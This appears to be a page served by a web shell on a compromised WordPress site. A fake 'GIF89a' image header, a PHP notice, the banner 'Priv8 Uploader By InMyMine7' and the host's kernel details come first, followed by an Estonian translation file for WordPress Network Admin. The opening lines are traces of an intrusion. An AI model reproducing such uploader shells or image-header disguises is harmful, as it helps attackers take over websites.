GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3
Priv8 Uploader By InMyMine7
Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
# Translation of Network Admin in Estonian # This file is distributed under the same license as the Network Admin package. msgid "" msgstr "" "PO-Revision-Date: 2014-09-04 17:23:22+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: GlotPress/0.1\n" "Project-Id-Version: Network Admin\n" #. translators: 1: a filename like .htaccess. 2: a file path. #: wp-admin/network.php:477 wp-admin/network.php:513 msgid "Add the following to your %1$s file in %2$s, <strong>replacing</strong> other WordPress rules:" msgstr "Lisa järgnev osa oma %1$s faili mis asub %2$s, <strong>asendades</strong> olemasolevad WordPressi reeglid:" #: wp-admin/network/users.php:48 msgid "What should be done with content owned by %s?" msgstr "Mida teha sisuga, mille omanikus on %s?" #: wp-admin/network/index.php:54 wp-admin/network/site-info.php:33 #: wp-admin/network/site-new.php:30 wp-admin/network/site-settings.php:33 #: wp-admin/network/site-themes.php:33 wp-admin/network/site-users.php:36 #: wp-admin/network/sites.php:46 wp-admin/network/user-new.php:30 #: wp-admin/network/users.php:243 msgid "<a href=\"https://wordpress.org/support/forum/multisite/\" target=\"_blank\">Support Forums</a>" msgstr "<a href=\"https://wordpress.org/support/forum/multisite/\" target=\"_blank\">Tugifoorumid</a>" #: wp-admin/network/sites.php:70 msgid "Confirm your action" msgstr "Kinnita oma tegevus" #: wp-admin/network/users.php:25 msgid "Transfer or delete content before deleting users." msgstr "Teisalda või kustuta sisu enne kasutajate kustutamist." #: wp-admin/network/settings.php:104 msgid "This email address will receive notifications. Registration and support emails will also come from this address." msgstr "Sellele epostiaadressile saadetakse kõik teavitused. Registreerimise ja toe epostid saadetakse välja sellelt aadressilt." #: wp-admin/network/users.php:233 msgid "Hover over any user on the list to make the edit links appear. The Edit link on the left will take you to their Edit User profile page; the Edit link on the right by any site name goes to an Edit Site screen for that site." msgstr "Liigu hiirega nimekirjas kasutaja nime peale nägemaks toimingukäskude linke. Vasakul asuv Muuda link viib su vastava kasutaja profiililehete toimetama; saidinimest paremal olev Muuda link viib vastava saidi seadistamise lehele." #: wp-admin/network/index.php:39 msgid "To add a new user, <strong>click Create a New User</strong>." msgstr "Uue kasutaja lisamiseks <strong>klõpsa Loo uus kasutaja</strong>." #: wp-admin/network/index.php:40 msgid "To add a new site, <strong>click Create a New Site</strong>." msgstr "Uue saidi loomiseks <strong>klõpsa Loo uus sait</strong>." #: wp-admin/network/index.php:42 msgid "To search for a user, <strong>enter an email address or username</strong>. Use a wildcard to search for a partial username, such as user*." msgstr "Kasutaja otsimiseks <strong>sisesta epost või kasutajanimi</strong>. Kasutajanime osa järgi saab otsida kasutades metamärki, nt kasutaja*." #: wp-admin/network/index.php:43 msgid "To search for a site, <strong>enter the path or domain</strong>." msgstr "Saidi otsimiseks <strong>sisesta kataloogirada või domeeninimi</strong>." #: wp-admin/network/upgrade.php:106 msgid "The database upgrade process may take a little while, so please be patient." msgstr "Andmebaasi uuendamine võib veidi aega võtta, palun varu kannatust." #: wp-admin/network/settings.php:82 msgid "Options saved." msgstr "Seaded salvestatud." #: wp-admin/network/index.php:25 msgid "Welcome to your Network Admin. This area of the Administration Screens is used for managing all aspects of your Multisite Network." msgstr "Teretulemast Võrgustikuadminni. Siin saad hallata kõiki oma Multisite-võrgustiku seadistusi." #: wp-admin/network/index.php:26 msgid "From here you can:" msgstr "Siit saad:" #: wp-admin/network/index.php:27 msgid "Add and manage sites or users" msgstr "Lisa ja halda saite või kasutajaid" #: wp-admin/network/index.php:28 msgid "Install and activate themes or plugins" msgstr "Paigalda ja aktiveeri teemasid või pluginaid" #: wp-admin/network/index.php:29 msgid "Update your network" msgstr "Uuenda oma võrgustikku" #: wp-admin/network/index.php:30 msgid "Modify global network settings" msgstr "Muuda võrgustikuüleseid seadeid" #: wp-admin/network/index.php:38 msgid "The Right Now widget on this screen provides current user and site counts on your network." msgstr "Sellel lehel olev Hetkel moodul kuvab võrgustiku ja saitide arvu." #: wp-admin/network/index.php:41 msgid "To search for a user or site, use the search boxes." msgstr "Kasutaja või saidi leidmiseks kasuta vastavat otsingukasti." #: wp-admin/network/index.php:47 msgid "Quick Tasks" msgstr "Kiired toimingud" #: wp-admin/network/menu.php:59 wp-admin/network/upgrade.php:18 #: wp-admin/network/upgrade.php:42 wp-admin/network/upgrade.php:107 msgid "Upgrade Network" msgstr "Uuenda võrgustikku" #: wp-admin/network/upgrade.php:25 msgid "Only use this screen once you have updated to a new version of WordPress through Updates/Available Updates (via the Network Administration navigation menu or the Toolbar). Clicking the Upgrade Network button will step through each site in the network, five at a time, and make sure any database updates are applied." msgstr "Kasuta seda ainult siis, kui oled uuendanud WordPressi versiooni kasutades Uuendused / Saadaval uuendused (Võrgustikuadminni navigatsioonimenüüs või Tööriistaribal). Kui klõpsad Uuenda võrgustikku käiakse kogu võrgustik viie saidi kaupa läbi ja uuendatakse kõigi saitide andebaasid." #: wp-admin/network/upgrade.php:32 msgid "<a href=\"http://codex.wordpress.org/Network_Admin_Updates_Screen\" target=\"_blank\">Documentation on Upgrade Network</a>" msgstr "<a href=\"http://codex.wordpress.org/Network_Admin_Updates_Screen\" target=\"_blank\">Võrgustiku uuendamise dokumentatsioon</a>" #: wp-admin/network/upgrade.php:102 msgid "Database Upgrade Required" msgstr "Vajalik andmebaasi uuendamine" #: wp-admin/network/upgrade.php:103 msgid "WordPress has been updated! Before we send you on your way, we need to individually upgrade the sites in your network." msgstr "WordPress on uuendatud! Aga enne kui me saame sind muude tegevuste juurde lasta oleks vaja uuendada ka kõik võrgustiku saidid." #: wp-admin/network/site-new.php:87 msgid "" "New site created by %1$s\n" "\n" "Address: %2$s\n" "Name: %3$s" msgstr "" "%1$s lõi uue saidi\n" "\n" "Aadress: %2$s\n" "Nimi: %3$s" #: wp-admin/network.php:119 msgid "Add the designated lines of code to wp-config.php (just before <code>/*...stop editing...*/</code>) and <code>.htaccess</code> (replacing the existing WordPress rules)." msgstr "Lisa näidatud koodiread wp-config.php faili (täspelt enne <code>/*...stop editing...*/</code>) ja <code>.htaccess</code> faili (asendades olemasolevad WordPressi reeglid)." #: wp-admin/network.php:238 wp-admin/network.php:481 wp-admin/network.php:517 msgid "Subdirectory networks may not be fully compatible with custom wp-content directories." msgstr "Alamkatalooge kasutavad võrgustikud ei pruugi täielikult ühilduda kohandatud wp-content kataloogidega." #: wp-admin/network/settings.php:37 msgid "<a href=\"http://codex.wordpress.org/Network_Admin_Settings_Screen\" target=\"_blank\">Documentation on Network Settings</a>" msgstr "<a href=\"http://codex.wordpress.org/Network_Admin_Settings_Screen\" target=\"_blank\">Võrgustiku seadete dokumentatsioon</a>" #: wp-admin/network/site-users.php:230 msgid "Enter the username and email." msgstr "Sisesta kasutajanimi ja epost." #: wp-admin/network/site-users.php:218 msgid "Select a user to change role." msgstr "Vali kasutaja kelle rolli soovid muuta." #: wp-admin/network/site-users.php:224 msgid "Select a user to remove." msgstr "Vali kasutaja kelle soovid eemaldada." #: wp-admin/network/site-users.php:227 msgid "User created." msgstr "Kasutaja loodud." #: wp-admin/network/users.php:41 msgid "Warning! User cannot be deleted. The user %s is a network administrator." msgstr "Hoiatus! Kasutajat ei saa kustutada. Kasutaja %s on võrgustiku administraator." #: wp-admin/network/users.php:66 msgid "Site: %s" msgstr "Sait: %s" #: wp-admin/network/site-users.php:278 wp-admin/network/user-new.php:102 msgid "Add User" msgstr "Lisa kasutaja" #: wp-admin/network/user-new.php:51 msgid "Cannot add user." msgstr "Kasutajat ei saa lisada." #: wp-admin/network/sites.php:118 msgid "You are not allowed to delete the site." msgstr "Sul ei ole lubatud seda saiti kustutada." #: wp-admin/network/site-users.php:209 msgid "User is already a member of this site." msgstr "Kasutaja juba on selle saidi liige." #: wp-admin/network/site-info.php:85 msgid "Site info updated." msgstr "Saidi info uuendatud." #: wp-admin/network/users.php:38 msgid "Warning! User %s cannot be deleted." msgstr "Hoiatud! Kasutajat %s ei saa kustutada." #: wp-admin/network/site-users.php:212 msgid "Enter the username of an existing user." msgstr "Sisesta olemasoleva kasutaja kasutajanimi." #: wp-admin/network/themes.php:240 msgid "You cannot delete a theme while it is active on the main site." msgstr "Sa ei saa kustutada teemat mis on põhisaidi teemana kasutusel" #: wp-admin/network/site-new.php:106 wp-admin/network/site-new.php:116 msgid "Add New Site" msgstr "Lisa uus sait" #: wp-admin/network/themes.php:236 msgctxt "network" msgid "Theme deleted." msgid_plural "%s themes deleted." msgstr[0] "Teema kustutatud." msgstr[1] "%s teemat kustutatud." #: wp-admin/network/themes.php:208 msgid "<a href=\"http://codex.wordpress.org/Network_Admin_Themes_Screen\" target=\"_blank\">Documentation on Network Themes</a>" msgstr "<a href=\"http://codex.wordpress.org/Network_Admin_Themes_Screen\" target=\"_blank\">Võrgustiku teemade dokumentatsioon</a>" #: wp-admin/network/site-info.php:104 wp-admin/network/site-settings.php:94 #: wp-admin/network/site-themes.php:146 wp-admin/network/site-users.php:191 msgid "Info" msgstr "Info" #. translators: 1: theme name, 2: theme author #: wp-admin/network/themes.php:142 msgid "Are you sure you wish to delete these themes?" msgstr "Kas oled kindel, et soovid need teemad kustutada?" #: wp-admin/network/themes.php:151 msgid "Yes, Delete this theme" msgid_plural "Yes, Delete these themes" msgstr[0] "Jah, kustuta see teema" msgstr[1] "Jah, kustuta need teemad" #: wp-admin/network/themes.php:137 msgid "You are about to remove the following theme:" msgid_plural "You are about to remove the following themes:" msgstr[0] "Oled kustutamas järgmist teemat:" msgstr[1] "Oled kustutamas järgmisi teemasid:" #: wp-admin/network/themes.php:136 msgid "This theme may be active on other sites in the network." msgid_plural "These themes may be active on other sites in the network." msgstr[0] "See teema võib olla kasutusel võrgustiku teistel saitidel." msgstr[1] "Need teemad võivad olla kasutusel võrgustiku teistel saitidel." #: wp-admin/network/themes.php:134 msgid "Delete Theme" msgid_plural "Delete Themes" msgstr[0] "Kustuta teema" msgstr[1] "Kustuta teemad" #: wp-admin/network/menu.php:46 wp-admin/network/settings.php:19 msgid "Network Settings" msgstr "Võrgustiku seaded" #: wp-admin/network/site-themes.php:168 msgid "Network enabled themes are not shown on this screen." msgstr "Võrgustikus lubatud teemasid sellel lehel ei kuvata." #: wp-admin/network/themes.php:17 msgid "You do not have sufficient permissions to manage network themes." msgstr "Sul ei ole piisavalt õiguseid võrgustiku teemade haldamiseks." #: wp-admin/network/menu.php:58 msgid "Available Updates" msgstr "Uuendused saadaval" #: wp-admin/network/user-new.php:23 msgid "Add User will set up a new user account on the network and send that person an email with username and password." msgstr "Lisa kasutaja loob uue võrgustikus uue kasutajakonto ja saadab sellele isikule eposti tema kasutajanime ja parooliga." #: wp-admin/network/site-info.php:89 wp-admin/network/site-settings.php:79 #: wp-admin/network/site-themes.php:133 wp-admin/network/site-users.php:161 msgid "Edit Site: <a href=\"%1$s\">%2$s</a>" msgstr "Muuda saiti: <a href=\"%1$s\">%2$s</a>" #: wp-admin/network/themes.php:100 msgid "You do not have sufficient permissions to delete themes for this site." msgstr "Sul ei ole piisavalt õiguseid selle saidi teemade kustutamiseks." #: wp-admin/network/site-themes.php:163 wp-admin/network/themes.php:233 msgid "Theme disabled." msgid_plural "%s themes disabled." msgstr[0] "Teema välja lülitatud." msgstr[1] "%s teemat välja lülitatud." #: wp-admin/network/site-info.php:39 wp-admin/network/site-settings.php:39 #: wp-admin/network/site-themes.php:54 wp-admin/network/site-users.php:49 msgid "Invalid site ID." msgstr "Vigane saidi ID." #: wp-admin/network/site-themes.php:160 wp-admin/network/themes.php:230 msgid "Theme enabled." msgid_plural "%s themes enabled." msgstr[0] "Teema sisse lülitatud." msgstr[1] "%s teemat sisse lülitatud." #: wp-admin/network/site-themes.php:165 wp-admin/network/themes.php:238 msgid "No theme selected." msgstr "Ühtegi teemat pole valitud." #: wp-admin/network/site-info.php:26 wp-admin/network/site-settings.php:26 #: wp-admin/network/site-themes.php:26 wp-admin/network/site-users.php:29 msgid "<strong>Themes</strong> - This area shows themes that are not already enabled across the network. Enabling a theme in this menu makes it accessible to this site. It does not activate the theme, but allows it to show in the site’s Appearance menu. To enable a theme for the entire network, see the <a href=\"%s\">Network Themes</a> screen." msgstr "<strong>Teemad</strong> - Siin kuvatakse teemasid mis veel ei ole võrgustikus sisse lülitatud. Teema sisselülitamine muudab selle vastava saidi jaoks Välimuse menüüs kättesaadavaks, aga ei aktiveeri seda. Teema lubamiseks terves võrgustikus kasuta <a href=\"%s\">Võrgustiku teemade</a> lehte." #: wp-admin/network/site-info.php:90 wp-admin/network/site-settings.php:80 #: wp-admin/network/site-themes.php:134 wp-admin/network/site-users.php:162 msgid "Edit Site: %s" msgstr "Muuda saiti: %s" #: wp-admin/network/themes.php:154 msgid "No, Return me to the theme list" msgstr "Ei, tagasi teemade nimekirja paluks" #: wp-admin/network/site-info.php:27 wp-admin/network/site-settings.php:27 #: wp-admin/network/site-themes.php:27 wp-admin/network/site-users.php:30 msgid "<strong>Settings</strong> - This page shows a list of all settings associated with this site. Some are created by WordPress and others are created by plugins you activate. Note that some fields are grayed out and say Serialized Data. You cannot modify these values due to the way the setting is stored in the database." msgstr "<strong>Seaded</strong> - Sellel lehel kuvatakse kõiki selle saidi seaded. Mõned neist on WordPressi, mõned aktiveeritud pluginate seaded. Pane tähele, et mõned väljad on mitteaktiivsed ja sisaldavad teksti Serialized Data - neid ei saa muuta tingituna viisist, kuidas nad on andmebaasi salvestatud." #: wp-admin/network/site-themes.php:130 wp-admin/network/themes.php:195 msgctxt "themes per page (screen options)" msgid "Themes" msgstr "Teemasid" #: wp-admin/network/site-info.php:24 wp-admin/network/site-settings.php:24 #: wp-admin/network/site-themes.php:24 wp-admin/network/site-users.php:27 msgid "<strong>Info</strong> - The domain and path are rarely edited as this can cause the site to not work properly. The Registered date and Last Updated date are displayed. Network admins can mark a site as archived, spam, deleted and mature, to remove from public listings or disable." msgstr "<strong>Info</strong> - Domeeni ja kataloogirada ei ole hea tava muuta, sest selle tulemusel võib sait lakata korralikult töötamast. Kuvatakse saidi loomise ja viimas uuendamise kuupäeva. Võrgustiku haldurid saavad märkida saidi arhiveerituks, spämmiks või kustutatuks, samuti \"täiskasvanutele\" eemaldamaks seda avalikust nimistust." #: wp-admin/network/site-info.php:25 wp-admin/network/site-settings.php:25 #: wp-admin/network/site-themes.php:25 wp-admin/network/site-users.php:28 msgid "<strong>Users</strong> - This displays the users associated with this site. You can also change their role, reset their password, or remove them from the site. Removing the user from the site does not remove the user from the network." msgstr "<strong>Kasutajad</strong> - Kuvab selle saidiga seotud kasutajaid. Saad muuta nende rolli, anda uue parooli või eemaldada nad saidilt. Kasutaja eemaldamine saidilt ei kustuta teda kogu võrgustikust." #: wp-admin/network/site-info.php:23 wp-admin/network/site-settings.php:23 #: wp-admin/network/site-themes.php:23 wp-admin/network/site-users.php:26 msgid "The menu is for editing information specific to individual sites, particularly if the admin area of a site is unavailable." msgstr "See menüü on individuaalseid võrgustiku saite puudutava info muutmiseks, eriti juhul, kui saidi adminn pole ligipäästav." #: wp-admin/network/sites.php:35 msgid "Dashboard leads to the Dashboard for that site." msgstr "Töölaud viib selle saidi töölauale." #: wp-admin/network/settings.php:145 msgid "Allow site administrators to add new users to their site via the \"Users → Add New\" page." msgstr "Luba saidi halduritel uute kasutajate lisamine \"Kasutajad → Lisa uus\" kaudu." #: wp-admin/network/settings.php:280 msgid "Language Settings" msgstr "Keeleseaded" #: wp-admin/network/site-settings.php:75 msgid "Site options updated." msgstr "Saidi seaded uuendatud." #: wp-admin/network/menu.php:31 msgid "Installed Themes" msgstr "Paigaldatud teemad" #: wp-admin/network/menu.php:27 msgid "Themes %s" msgstr "Teemad %s" #: wp-admin/network/site-info.php:32 wp-admin/network/site-new.php:29 #: wp-admin/network/site-settings.php:32 wp-admin/network/site-themes.php:32 #: wp-admin/network/site-users.php:35 wp-admin/network/sites.php:45 msgid "<a href=\"http://codex.wordpress.org/Network_Admin_Sites_Screen\" target=\"_blank\">Documentation on Site Management</a>" msgstr "<a href=\"http://codex.wordpress.org/Network_Admin_Sites_Screen\" target=\"_blank\">Saidi halduse dokumentatsioon</a>" #: wp-admin/network/menu.php:18 wp-admin/network/sites.php:254 msgctxt "site" msgid "Add New" msgstr "Lisa uus" #: wp-admin/network/menu.php:17 msgid "All Sites" msgstr "Kõik saidid" #: wp-admin/network/index.php:53 msgid "<a href=\"http://codex.wordpress.org/Network_Admin\" target=\"_blank\">Documentation on the Network Admin</a>" msgstr "<a href=\"http://codex.wordpress.org/Network_Admin\" target=\"_blank\">Võrgustiku halduse dokumentatsioon</a>" #: wp-admin/network/site-themes.php:17 msgid "You do not have sufficient permissions to manage themes for this site." msgstr "Sul ei ole piisavalt õiguseid selle saidi teemade haldamiseks." #: wp-admin/network/site-new.php:103 msgid "Site added. <a href=\"%1$s\">Visit Dashboard</a> or <a href=\"%2$s\">Edit Site</a>" msgstr "Sait lisatud. <a href=\"%1$s\">Külasta töölauda</a> või <a href=\"%2$s\">Muuda saiti</a>" #: wp-admin/network/sites.php:31 msgid "Add New takes you to the Add New Site screen. You can search for a site by Name, ID number, or IP address. Screen Options allows you to choose how many sites to display on one page." msgstr "Lisa uus viib su uue saidi lisamise lehele. Sa saad saiti otsida nime, ID-numbri või IP-aadressi alusel. Ekraani seaded lubab muuta korraga kuvatavate saitide arvu." #: wp-admin/network/user-new.php:17 msgid "You do not have sufficient permissions to add users to this network." msgstr "Sul ei ole piisavalt õiguseid lisamaks kasutajaid sellesse võrgustikku." #: wp-admin/network/sites.php:25 msgctxt "sites per page (screen options)" msgid "Sites" msgstr "Saidid" #: wp-admin/network/sites.php:206 msgid "You do not have permission to delete that site." msgstr "Sulle ei ole õigust selle saidi kustutamiseks." #: wp-admin/network/site-new.php:17 msgid "You do not have sufficient permissions to add sites to this network." msgstr "Sul ei ole piisavalt õiguseid saitide lisamiseks sellesse võrgustikku." #: wp-admin/network/menu.php:32 wp-admin/network/themes.php:222 msgctxt "theme" msgid "Add New" msgstr "Lisa uus" #: wp-admin/network/user-new.php:29 wp-admin/network/users.php:242 msgid "<a href=\"http://codex.wordpress.org/Network_Admin_Users_Screen\" target=\"_blank\">Documentation on Network Users</a>" msgstr "<a href=\"http://codex.wordpress.org/Network_Admin_Users_Screen\" target=\"_blank\">Võrgustiku kasutajate dokumentatsioon</a>" #: wp-admin/network/sites.php:40 msgid "Clicking on bold headings can re-sort this table." msgstr "Klõpsamine rasvases kirjas pealkirjadel muudab tabeli sortimist." #: wp-admin/network/sites.php:37 msgid "Delete which is a permanent action after the confirmation screens." msgstr "Kustutamine on kinnituse andmise järel lõplik." #: wp-admin/network/themes.php:203 msgid "Themes can be enabled on a site by site basis by the network admin on the Edit Site screen (which has a Themes tab); get there via the Edit action link on the All Sites screen. Only network admins are able to install or edit themes." msgstr "Võrgustiku haldur saab teemasid sait-haaval lubada Muuda saiti lehe Teemade sakil. Sinna pääseb valides Muuda-lingi lehelt Kõik saidid. Teemasid saavad lisada ja muuta ainult võrgustiku haldurid." #: wp-admin/network/sites.php:34 msgid "An Edit link to a separate Edit Site screen." msgstr "Muuda link eraldiseisvale Muuda saiti lehele." #: wp-admin/network/site-new.php:23 msgid "This screen is for Super Admins to add new sites to the network. This is not affected by the registration settings." msgstr "See leht lubab Superhalduril lisada võrgustikku uusi saite. Registreerimise seaded seda ei mõjuta." #: wp-admin/network/menu.php:53 msgid "Updates" msgstr "Uuendused" #: wp-admin/network/settings.php:32 msgid "Super admins can no longer be added on the Options screen. You must now go to the list of existing users on Network Admin > Users and click on Username or the Edit action link below that name. This goes to an Edit User page where you can check a box to grant super admin privileges." msgstr "Superhaldureid ei saa enam Seadete lehe kaudu lisada. Sa pead minema olemasolevate kasutajate nimistusse Võrgustiku haldur > Kasutajad, klõpsama kasutajanimel või selle all oleval Muuda lingil. Selle tulemusena satud Muuda kasutajat lehele kus on võimalik märkida superhalduri õiguse lahter." #: wp-admin/network.php:230 msgctxt "subdirectory examples" msgid "like <code>%1$s/site1</code> and <code>%1$s/site2</code>" msgstr "nagu <code>%1$s/veebisait1</code> ja <code>%1$s/veebisait2</code>" #: wp-admin/network.php:243 wp-admin/network.php:247 wp-admin/network.php:287 msgid "Server Address" msgstr "Serveri aadress" #: wp-admin/network.php:261 msgid "Because you are using <code>localhost</code>, the sites in your WordPress network must use sub-directories. Consider using <code>localhost.localdomain</code> if you wish to use sub-domains." msgstr "Kuna sul on kasutusel <code>localhost</code> peavad saidid sinu WordPressi võrgustikus kasutama alamkatalooge. Kui soovid kasutada alamdomeene võiksid kaaluda üleminekut <code>localhost.localdomain</code> peale." #: wp-admin/network.php:264 wp-admin/network.php:274 wp-admin/network.php:281 msgid "The main site in a sub-directory install will need to use a modified permalink structure, potentially breaking existing links." msgstr "Alamkataloogi-paigalduse põhisait vajab kohandatud püsiviidete struktuuri mis võib rikkuda olemasolevate linkide toimimise." #: wp-admin/network.php:271 msgid "Because your install is in a directory, the sites in your WordPress network must use sub-directories." msgstr "Kuna põhisait on paigaldatud kataloogi peavad WordPressi võrgustiku saidid kasutama alamkatalooge." #: wp-admin/network.php:279 msgid "Sub-domain Install" msgstr "Paigaldus alamkataloogi" #: wp-admin/network.php:280 msgid "Because your install is not new, the sites in your WordPress network must use sub-domains." msgstr "Kuna sinu paigaldus ei ole uus, peavad sinu WordPressi võrgustiku saidid kasutama alam-domeene." #: wp-admin/network/settings.php:93 wp-admin/network.php:294 msgid "Network Title" msgstr "Võrgustiku nimi" #: wp-admin/network.php:298 msgid "What would you like to call your network?" msgstr "Kuidas sooviksid oma võrgustikku kutsuda?" #: wp-admin/network.php:307 msgid "Your email address." msgstr "Sine eposti-aadress." #: wp-admin/network.php:354 msgid "The original configuration steps are shown here for reference." msgstr "Algse seadistuse samme kuvatakse siinkohal eeskujuna." #: wp-admin/network.php:359 msgid "An existing WordPress network was detected." msgstr "Tuvastasime olemasoleva WordPressi võrgustiku." #: wp-admin/network.php:360 msgid "Please complete the configuration steps. To create a new network, you will need to empty or remove the network database tables." msgstr "Palun läbi kõik seadistuse sammud. Uue võrgustiku loomiseks pead kõigepealt kustutama andmebaasi tabelid." #: wp-admin/network.php:371 msgid "Enabling the Network" msgstr "Võrgustiku sisselülitamine" #: wp-admin/network.php:372 msgid "Complete the following steps to enable the features for creating a network of sites." msgstr "Võrgustikusaitide loomise võimaldamiseks pead läbima järgmised sammud." #: wp-admin/network.php:375 wp-admin/network.php:377 msgid "<strong>Caution:</strong> We recommend you back up your existing <code>wp-config.php</code> and <code>%s</code> files." msgstr "<strong>Tähelepanu:</strong> Soovitama teha senistest <code>wp-config.php</code> ja <code>%s</code> failidest varukoopiad." #: wp-admin/network.php:379 msgid "<strong>Caution:</strong> We recommend you back up your existing <code>wp-config.php</code> file." msgstr "<strong>Tähelepanu:</strong> Soovitama teha senisest <code>wp-config.php</code> failist varukoopi." #: wp-admin/network.php:385 msgid "Add the following to your <code>wp-config.php</code> file in <code>%s</code> <strong>above</strong> the line reading <code>/* That’s all, stop editing! Happy blogging. */</code>:" msgstr "" #: wp-admin/network.php:199 msgid "Fill in the information below and you’ll be on your way to creating a network of WordPress sites. We will create configuration files in the next step." msgstr "" #: wp-admin/network.php:211 msgid "Please make sure the Apache <code>mod_rewrite</code> module is installed as it will be used at the end of this installation." msgstr "" #: wp-admin/network.php:416 msgid "This unique authentication key is also missing from your <code>wp-config.php</code> file." msgid_plural "These unique authentication keys are also missing from your <code>wp-config.php</code> file." msgstr[0] "" msgstr[1] "" #: wp-admin/network.php:174 msgid "You cannot install a network of sites with your server address." msgstr "" #: wp-admin/network.php:175 msgid "You cannot use port numbers such as <code>%s</code>." msgstr "" #: wp-admin/network.php:221 msgid "You will need a wildcard DNS record if you are going to use the virtual host (sub-domain) functionality." msgstr "" #: wp-admin/network.php:215 msgid "If <code>mod_rewrite</code> is disabled, ask your administrator to enable that module, or look at the <a href=\"http://httpd.apache.org/docs/mod/mod_rewrite.html\">Apache documentation</a> or <a href=\"http://www.google.com/search?q=apache+mod_rewrite\">elsewhere</a> for help setting it up." msgstr "" #: wp-admin/network.php:195 msgctxt "Default network name" msgid "%s Sites" msgstr "" #: wp-admin/network.php:249 wp-admin/network.php:289 msgid "The internet address of your network will be <code>%s</code>." msgstr "" #: wp-admin/network.php:213 wp-admin/network.php:238 wp-admin/network.php:264 #: wp-admin/network.php:274 msgid "Warning!" msgstr "" #: wp-admin/network.php:225 msgid "Sub-domains" msgstr "" #: wp-admin/network.php:416 msgid "To make your installation more secure, you should also add:" msgstr "" #: wp-admin/network.php:117 msgid "Choose subdomains or subdirectories; this can only be switched afterwards by reconfiguring your install. Fill out the network details, and click install. If this does not work, you may have to add a wildcard DNS record (for subdomains) or change to another setting in Permalinks (for subdirectories)." msgstr "" #: wp-admin/network.php:118 msgid "The next screen for Network Setup will give you individually-generated lines of code to add to your wp-config.php and .htaccess files. Make sure the settings of your FTP client make files starting with a dot visible, so that you can find .htaccess; you may have to create this file if it really is not there. Make backup copies of those two files." msgstr "" #: wp-admin/network.php:526 msgid "Once you complete these steps, your network is enabled and configured. You will have to log in again." msgstr "" #: wp-admin/network.php:157 msgid "The constant DO_NOT_UPGRADE_GLOBAL_TABLES cannot be defined when creating a network." msgstr "" #: wp-admin/network.php:255 msgid "Network Details" msgstr "" #: wp-admin/network.php:198 msgid "Welcome to the Network installation process!" msgstr "" #: wp-admin/network.php:213 msgid "It looks like the Apache <code>mod_rewrite</code> module is not installed." msgstr "" #: wp-admin/network.php:123 wp-admin/network.php:134 msgid "<a href=\"http://codex.wordpress.org/Create_A_Network\" target=\"_blank\">Documentation on Creating a Network</a>" msgstr "" #: wp-admin/network.php:121 msgid "The choice of subdirectory sites is disabled if this setup is more than a month old because of permalink problems with “/blog/” from the main site. This disabling will be addressed in a future version." msgstr "" #: wp-admin/network.php:165 msgid "Once the network is created, you may reactivate your plugins." msgstr "" #: wp-admin/network.php:165 msgid "Please <a href=\"%s\">deactivate your plugins</a> before enabling the Network feature." msgstr "" #: wp-admin/network.php:244 msgid "We recommend you change your siteurl to <code>%1$s</code> before enabling the network feature. It will still be possible to visit your site using the <code>www</code> prefix with an address like <code>%2$s</code> but any links will not have the <code>www</code> prefix." msgstr "" #: wp-admin/network.php:259 wp-admin/network.php:269 msgid "Sub-directory Install" msgstr "" #: wp-admin/network.php:116 msgid "This screen allows you to configure a network as having subdomains (<code>site1.example.com</code>) or subdirectories (<code>example.com/site1</code>). Subdomains require wildcard subdomains to be enabled in Apache and DNS records, if your host allows it." msgstr "" #: wp-admin/network.php:112 msgid "Create a Network of WordPress Sites" msgstr "" #: wp-admin/network.php:176 msgid "Return to Dashboard" msgstr "" #: wp-admin/network.php:27 msgid "The Network creation panel is not for WordPress MU networks." msgstr "" #: wp-admin/network.php:165 wp-admin/network.php:359 wp-admin/network.php:481 #: wp-admin/network.php:517 msgid "Warning:" msgstr "" #: wp-admin/network.php:220 msgid "Please choose whether you would like sites in your WordPress network to use sub-domains or sub-directories. <strong>You cannot change this later.</strong>" msgstr "" #: wp-admin/network.php:124 wp-admin/network.php:135 msgid "<a href=\"http://codex.wordpress.org/Tools_Network_Screen\" target=\"_blank\">Documentation on the Network Screen</a>" msgstr "" #: wp-admin/network.php:219 msgid "Addresses of Sites in your Network" msgstr "" #: wp-admin/network.php:226 msgctxt "subdomain examples" msgid "like <code>site1.%1$s</code> and <code>site2.%1$s</code>" msgstr "" #: wp-admin/network.php:128 msgid "Network" msgstr "" #: wp-admin/network.php:229 msgid "Sub-directories" msgstr "" #: wp-admin/network.php:106 msgid "You must define the <code>WP_ALLOW_MULTISITE</code> constant as true in your wp-config.php file to allow creation of a Network." msgstr "" #: wp-admin/network.php:188 msgid "ERROR: The network could not be created." msgstr "" #: wp-admin/network.php:120 msgid "Once you add this code and refresh your browser, multisite should be enabled. This screen, now in the Network Admin navigation menu, will keep an archive of the added code. You can toggle between Network Admin and Site Admin by clicking on the Network Admin or an individual site name under the My Sites dropdown in the Toolbar." msgstr "" #: wp-admin/network/site-info.php:17 wp-admin/network/site-settings.php:17 #: wp-admin/network/site-users.php:17 msgid "You do not have sufficient permissions to edit this site." msgstr "" #: wp-admin/network/users.php:144 msgid "Warning! User cannot be modified. The user %s is a network administrator." msgstr "" #: wp-admin/network/site-new.php:24 msgid "If the admin email for the new site does not exist in the database, a new user will also be created." msgstr "" #: wp-admin/network/sites.php:36 msgid "Deactivate, Archive, and Spam which lead to confirmation screens. These actions can be reversed later." msgstr "" #: wp-admin/network/sites.php:39 msgid "The site ID is used internally, and is not shown on the front end of the site or to users/viewers." msgstr "" #: wp-admin/network/sites.php:33 msgid "Hovering over each site reveals seven options (three for the primary site):" msgstr "" #: wp-admin/network/settings.php:27 msgid "Operational settings has fields for the network’s name and admin email." msgstr "" #: wp-admin/network/users.php:234 msgid "You can also go to the user’s profile page by clicking on the individual username." msgstr "" #: wp-admin/network/users.php:236 msgid "The bulk action will permanently delete selected users, or mark/unmark those selected as spam. Spam users will have posts removed and will be unable to sign up again with the same email addresses." msgstr "" #: wp-admin/network/settings.php:30 msgid "Upload settings control the size of the uploaded files and the amount of available upload space for each site. You can change the default value for specific sites when you edit a particular site. Allowed file types are also listed (space separated only)." msgstr "" #: wp-admin/network/sites.php:38 msgid "Visit to go to the frontend site live." msgstr "" #: wp-admin/network/settings.php:29 msgid "New site settings are defaults applied when a new site is created in the network. These include welcome email for when a new site or user account is registered, and 